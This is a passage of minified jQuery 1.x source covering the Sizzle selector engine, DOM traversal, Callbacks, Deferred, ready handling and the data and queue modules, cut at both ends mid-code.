tt.call(t,e)>-1},a,!0),c=[function(e,n,r){return!o&&(r||n!==j)||((t=n).nodeType?l(e,n,r):u(e,n,r))}];i>s;s++)if(n=T.relative[e[s].type])c=[p(h(c),n)];else{if(n=T.filter[e[s].type].apply(null,e[s].matches),n[B]){for(r=++s;i>r&&!T.relative[e[r].type];r++);return v(s>1&&h(c),s>1&&f(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(lt,"$1"),n,r>s&&y(e.slice(s,r)),i>r&&y(e=e.slice(r)),i>r&&f(e))}c.push(n)}return h(c)}function b(e,n){var i=n.length>0,o=e.length>0,a=function(r,a,s,l,u){var c,d,f,p=0,h="0",m=r&&[],v=[],y=j,b=r||o&&T.find.TAG("*",u),x=I+=null==y?1:Math.random()||.1,w=b.length;for(u&&(j=a!==H&&a);h!==w&&null!=(c=b[h]);h++){if(o&&c){for(d=0;f=e[d++];)if(f(c,a,s)){l.push(c);break}u&&(I=x)}i&&((c=!f&&c)&&p--,r&&m.push(c))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=K.call(l));v=g(v)}Z.apply(l,v),u&&!r&&v.length>0&&p+n.length>1&&t.uniqueSort(l)}return u&&(I=x,j=y),m};return i?r(a):a}var x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B="sizzle"+-new Date,P=e.document,I=0,W=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(D=!0),0},V="undefined",G=1<<31,Y={}.hasOwnProperty,J=[],K=J.pop,Q=J.push,Z=J.push,et=J.slice,tt=J.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},nt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",rt="[\\x20\\t\\r\\n\\f]",it="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ot=it.replace("w","w#"),at="\\["+rt+"*("+it+")(?:"+rt+"*([*^$|!~]?=)"+rt+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ot+"))|)"+rt+"*\\]",st=":("+it+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+at+")*)|.*)\\)|)",lt=new RegExp("^"+rt+"+|((?:^|[^\\\\])(?:\\\\.)*)"+rt+"+$","g"),ut=new RegExp("^"+rt+"*,"+rt+"*"),ct=new RegExp("^"+rt+"*([>+~]|"+rt+")"+rt+"*"),dt=new RegExp("="+rt+"*([^\\]'\"]*?)"+rt+"*\\]","g"),ft=new RegExp(st),pt=new RegExp("^"+ot+"$"),ht={ID:new RegExp("^#("+it+")"),CLASS:new RegExp("^\\.("+it+")"),TAG:new RegExp("^("+it.replace("w","w*")+")"),ATTR:new RegExp("^"+at),PSEUDO:new RegExp("^"+st),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+rt+"*(even|odd|(([+-]|)(\\d*)n|)"+rt+"*(?:([+-]|)"+rt+"*(\\d+)|))"+rt+"*\\)|)","i"),bool:new RegExp("^(?:"+nt+")$","i"),needsContext:new RegExp("^"+rt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+rt+"*((?:-\\d)?\\d*)"+rt+"*\\)|)(?=[^-]|$)","i")},mt=/^(?:input|select|textarea|button)$/i,gt=/^h\d$/i,vt=/^[^{]+\{\s*\[native \w/,yt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,bt=/[+~]/,xt=/'|\\/g,wt=new RegExp("\\\\([\\da-f]{1,6}"+rt+"?|("+rt+")|.)","ig"),Tt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(J=et.call(P.childNodes),P.childNodes),J[P.childNodes.length].nodeType}catch(Et){Z={apply:J.length?function(e,t){Q.apply(e,et.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},L=t.setDocument=function(e){var t,n=e?e.ownerDocument||e:P,r=n.defaultView;return n!==H&&9===n.nodeType&&n.documentElement?(H=n,_=n.documentElement,q=!k(n),r&&r!==r.top&&(r.addEventListener?r.addEventListener("unload",function(){L()},!1):r.attachEvent&&r.attachEvent("onunload",function(){L()})),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=vt.test(n.getElementsByClassName)&&i(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),w.getById=i(function(e){return _.appendChild(e).id=B,!n.getElementsByName||!n.getElementsByName(B).length}),w.getById?(T.find.ID=function(e,t){if(typeof t.getElementById!==V&&q){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){var n=typeof e.getAttributeNode!==V&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==V?t.getElementsByTagName(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==V&&q?t.getElementsByClassName(e):void 0},M=[],F=[],(w.qsa=vt.test(n.querySelectorAll))&&(i(function(e){e.innerHTML="<select msallowclip=''><option selected=''></option></select>",e.querySelectorAll("[msallowclip^='']").length&&F.push("[*^$]="+rt+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+rt+"*(?:value|"+nt+")"),e.querySelectorAll(":checked").length||F.push(":checked")}),i(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+rt+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=vt.test(O=_.matches||_.webkitMatchesSelector||_.mozMatchesSelector||_.oMatchesSelector||_.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",st)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=vt.test(_.compareDocumentPosition),R=t||vt.test(_.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return D=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r?r:(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&r||!w.sortDetached&&t.compareDocumentPosition(e)===r?e===n||e.ownerDocument===P&&R(P,e)?-1:t===n||t.ownerDocument===P&&R(P,t)?1:A?tt.call(A,e)-tt.call(A,t):0:4&r?-1:1)}:function(e,t){if(e===t)return D=!0,0;var r,i=0,o=e.parentNode,s=t.parentNode,l=[e],u=[t];if(!o||!s)return e===n?-1:t===n?1:o?-1:s?1:A?tt.call(A,e)-tt.call(A,t):0;if(o===s)return a(e,t);for(r=e;r=r.parentNode;)l.unshift(r);for(r=t;r=r.parentNode;)u.unshift(r);for(;l[i]===u[i];)i++;return i?a(l[i],u[i]):l[i]===P?-1:u[i]===P?1:0},n):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(dt,"='$1']"),!(!w.matchesSelector||!q||M&&M.test(n)||F&&F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!q):void 0;return void 0!==r?r:w.attributes||!q?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(D=!w.detectDuplicates,A=!w.sortStable&&e.slice(0),e.sort(U),D){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return A=null,e},E=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=E(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=E(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:ht,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(wt,Tt),e[3]=(e[3]||e[4]||e[5]||"").replace(wt,Tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&ft.test(n)&&(t=C(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(wt,Tt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+rt+")"+e+"("+rt+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==V&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:n?(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o+" ").indexOf(r)>-1:"|="===n?o===r||o.slice(0,r.length+1)===r+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(c=g[B]||(g[B]={}),u=c[e]||[],p=u[0]===I&&u[1],f=u[0]===I&&u[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){c[e]=[I,p,f];break}}else if(y&&(u=(t[B]||(t[B]={}))[e])&&u[0]===I)f=u[1];else for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[B]||(d[B]={}))[e]=[I,f]),d!==t)););return f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[B]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=tt.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=N(e.replace(lt,"$1"));return i[B]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return function(t){return(t.textContent||t.innerText||E(t)).indexOf(e)>-1}}),lang:r(function(e){return pt.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(wt,Tt).toLowerCase(),function(t){var n;do if(n=q?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===_},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return gt.test(e.nodeName)},input:function(e){return mt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:u(function(){return[0]}),last:u(function(e,t){return[t-1]}),eq:u(function(e,t,n){return[0>n?n+t:n]}),even:u(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:u(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:u(function(e,t,n){for(var r=0>n?n+t:n;--r>=0;)e.push(r);return e}),gt:u(function(e,t,n){for(var r=0>n?n+t:n;++r<t;)e.push(r);return e})}},T.pseudos.nth=T.pseudos.eq;for(x in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})T.pseudos[x]=s(x);for(x in{submit:!0,reset:!0})T.pseudos[x]=l(x);return d.prototype=T.filters=T.pseudos,T.setFilters=new d,C=t.tokenize=function(e,n){var r,i,o,a,s,l,u,c=z[e+" "];if(c)return n?0:c.slice(0);for(s=e,l=[],u=T.preFilter;s;){(!r||(i=ut.exec(s)))&&(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ct.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(lt," ")}),s=s.slice(r.length));for(a in T.filter)!(i=ht[a].exec(s))||u[a]&&!(i=u[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return n?s.length:s?t.error(e):z(e,l).slice(0)},N=t.compile=function(e,t){var n,r=[],i=[],o=X[e+" "];if(!o){for(t||(t=C(e)),n=t.length;n--;)o=y(t[n]),o[B]?r.push(o):i.push(o);o=X(e,b(i,r)),o.selector=e}return o},S=t.select=function(e,t,n,r){var i,o,a,s,l,u="function"==typeof e&&e,d=!r&&C(e=u.selector||e);if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&q&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(wt,Tt),t)||[])[0],!t)return n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=ht.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((l=T.find[s])&&(r=l(a.matches[0].replace(wt,Tt),bt.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return Z.apply(n,r),n;
+break}}return(u||N(e,d))(r,t,!q,n,bt.test(e)&&c(t.parentNode)||t),n},w.sortStable=B.split("").sort(U).join("")===B,w.detectDuplicates=!!D,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){return n?void 0:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?void 0:e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(nt,function(e,t,n){var r;return n?void 0:e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);it.find=ut,it.expr=ut.selectors,it.expr[":"]=it.expr.pseudos,it.unique=ut.uniqueSort,it.text=ut.getText,it.isXMLDoc=ut.isXML,it.contains=ut.contains;var ct=it.expr.match.needsContext,dt=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,ft=/^.[^:#\[\.,]*$/;it.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?it.find.matchesSelector(r,e)?[r]:[]:it.find.matches(e,it.grep(t,function(e){return 1===e.nodeType}))},it.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(it(e).filter(function(){for(t=0;i>t;t++)if(it.contains(r[t],this))return!0}));for(t=0;i>t;t++)it.find(e,r[t],n);return n=this.pushStack(i>1?it.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&ct.test(e)?it(e):e||[],!1).length}});var pt,ht=e.document,mt=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,gt=it.fn.init=function(e,t){var n,r;if(!e)return this;if("string"==typeof e){if(n="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:mt.exec(e),!n||!n[1]&&t)return!t||t.jquery?(t||pt).find(e):this.constructor(t).find(e);if(n[1]){if(t=t instanceof it?t[0]:t,it.merge(this,it.parseHTML(n[1],t&&t.nodeType?t.ownerDocument||t:ht,!0)),dt.test(n[1])&&it.isPlainObject(t))for(n in t)it.isFunction(this[n])?this[n](t[n]):this.attr(n,t[n]);return this}if(r=ht.getElementById(n[2]),r&&r.parentNode){if(r.id!==n[2])return pt.find(e);this.length=1,this[0]=r}return this.context=ht,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):it.isFunction(e)?"undefined"!=typeof pt.ready?pt.ready(e):e(it):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),it.makeArray(e,this))};gt.prototype=it.fn,pt=it(ht);var vt=/^(?:parents|prev(?:Until|All))/,yt={children:!0,contents:!0,next:!0,prev:!0};it.extend({dir:function(e,t,n){for(var r=[],i=e[t];i&&9!==i.nodeType&&(void 0===n||1!==i.nodeType||!it(i).is(n));)1===i.nodeType&&r.push(i),i=i[t];return r},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}}),it.fn.extend({has:function(e){var t,n=it(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(it.contains(this,n[t]))return!0})},closest:function(e,t){for(var n,r=0,i=this.length,o=[],a=ct.test(e)||"string"!=typeof e?it(e,t||this.context):0;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&it.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?it.unique(o):o)},index:function(e){return e?"string"==typeof e?it.inArray(this[0],it(e)):it.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(it.unique(it.merge(this.get(),it(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),it.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return it.dir(e,"parentNode")},parentsUntil:function(e,t,n){return it.dir(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return it.dir(e,"nextSibling")},prevAll:function(e){return it.dir(e,"previousSibling")},nextUntil:function(e,t,n){return it.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return it.dir(e,"previousSibling",n)},siblings:function(e){return it.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return it.sibling(e.firstChild)},contents:function(e){return it.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:it.merge([],e.childNodes)}},function(e,t){it.fn[e]=function(n,r){var i=it.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=it.filter(r,i)),this.length>1&&(yt[e]||(i=it.unique(i)),vt.test(e)&&(i=i.reverse())),this.pushStack(i)}});var bt=/\S+/g,xt={};it.Callbacks=function(e){e="string"==typeof e?xt[e]||o(e):it.extend({},e);var t,n,r,i,a,s,l=[],u=!e.once&&[],c=function(o){for(n=e.memory&&o,r=!0,a=s||0,s=0,i=l.length,t=!0;l&&i>a;a++)if(l[a].apply(o[0],o[1])===!1&&e.stopOnFalse){n=!1;break}t=!1,l&&(u?u.length&&c(u.shift()):n?l=[]:d.disable())},d={add:function(){if(l){var r=l.length;!function o(t){it.each(t,function(t,n){var r=it.type(n);"function"===r?e.unique&&d.has(n)||l.push(n):n&&n.length&&"string"!==r&&o(n)})}(arguments),t?i=l.length:n&&(s=r,c(n))}return this},remove:function(){return l&&it.each(arguments,function(e,n){for(var r;(r=it.inArray(n,l,r))>-1;)l.splice(r,1),t&&(i>=r&&i--,a>=r&&a--)}),this},has:function(e){return e?it.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],i=0,this},disable:function(){return l=u=n=void 0,this},disabled:function(){return!l},lock:function(){return u=void 0,n||d.disable(),this},locked:function(){return!u},fireWith:function(e,n){return!l||r&&!u||(n=n||[],n=[e,n.slice?n.slice():n],t?u.push(n):c(n)),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!r}};return d},it.extend({Deferred:function(e){var t=[["resolve","done",it.Callbacks("once memory"),"resolved"],["reject","fail",it.Callbacks("once memory"),"rejected"],["notify","progress",it.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return it.Deferred(function(n){it.each(t,function(t,o){var a=it.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&it.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?it.extend(e,r):r}},i={};return r.pipe=r.then,it.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=Y.call(arguments),a=o.length,s=1!==a||e&&it.isFunction(e.promise)?a:0,l=1===s?e:it.Deferred(),u=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?Y.call(arguments):i,r===t?l.notifyWith(n,r):--s||l.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);a>i;i++)o[i]&&it.isFunction(o[i].promise)?o[i].promise().done(u(i,r,o)).fail(l.reject).progress(u(i,n,t)):--s;return s||l.resolveWith(r,o),l.promise()}});var wt;it.fn.ready=function(e){return it.ready.promise().done(e),this},it.extend({isReady:!1,readyWait:1,holdReady:function(e){e?it.readyWait++:it.ready(!0)},ready:function(e){if(e===!0?!--it.readyWait:!it.isReady){if(!ht.body)return setTimeout(it.ready);it.isReady=!0,e!==!0&&--it.readyWait>0||(wt.resolveWith(ht,[it]),it.fn.triggerHandler&&(it(ht).triggerHandler("ready"),it(ht).off("ready")))}}}),it.ready.promise=function(t){if(!wt)if(wt=it.Deferred(),"complete"===ht.readyState)setTimeout(it.ready);else if(ht.addEventListener)ht.addEventListener("DOMContentLoaded",s,!1),e.addEventListener("load",s,!1);else{ht.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&ht.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!it.isReady){try{n.doScroll("left")}catch(e){return setTimeout(i,50)}a(),it.ready()}}()}return wt.promise(t)};var Tt,Et="undefined";for(Tt in it(nt))break;nt.ownLast="0"!==Tt,nt.inlineBlockNeedsLayout=!1,it(function(){var e,t,n,r;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",nt.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=ht.createElement("div");if(null==nt.deleteExpando){nt.deleteExpando=!0;try{delete e.test}catch(t){nt.deleteExpando=!1}}e=null}(),it.acceptData=function(e){var t=it.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return 1!==n&&9!==n?!1:!t||t!==!0&&e.getAttribute("classid")===t};var kt=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Ct=/([A-Z])/g;it.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?it.cache[e[it.expando]]:e[it.expando],!!e&&!u(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return d(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return d(e,t,!0)}}),it.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=it.data(o),1===o.nodeType&&!it._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=it.camelCase(r.slice(5)),l(o,r,i[r])));it._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){it.data(this,e)}):arguments.length>1?this.each(function(){it.data(this,e,t)}):o?l(o,e,it.data(o,e)):void 0},removeData:function(e){return this.each(function(){it.removeData(this,e)})}}),it.extend({queue:function(e,t,n){var r;return e?(t=(t||"fx")+"queue",r=it._data(e,t),n&&(!r||it.isArray(n)?r=it._data(e,t,it.makeArray(n)):r.push(n)),r||[]):void 0},dequeue:function(e,t){t=t||"fx";var n=it.queue(e,t),r=n.length,i=n.shift(),o=it._queueHooks(e,t),a=function(){it.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return it._data(e,n)||it._data(e,n,{empty:it.Callbacks("once memory").add(function(){it._removeData(e,t+"queue"),it._removeData(e,n)})})}}),it.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?it.queue(this[0],e):void 0===t?this:this.each(function(){var n=it.queue(this,e,t);it._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&it.dequeue(this,e)})},dequeue:function(e){return this.each(function(){it.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=it.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)n=it._data(o[a],e+"queueHooks"),n&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var Nt=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,St=["Top","Right","Bottom","Left"],jt=function(e,t){return e=t||e,"none"===it.css(e,"display")||!it.contains(e.ownerDocument,e)},At=it.access=function(e,t,n,r,i,o,a){var s=0,l=e.length,u=null==n;if("object"===it.type(n)){i=!0;for(s in n)it.access(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,it.isFunction(r)||(a=!0),u&&(a?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(it(e),n)})),t))for(;l>s;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:u?t.call(e):l?t(e[0],n):o},Dt=/^(?:checkbox|radio)$/i;!function(){var e=ht.createElement("input"),t=ht.createElement("div"),n=ht.createDocumentFragment();if(t.innerHTML=" <link/><table></table><a href='/a'>a</a><input 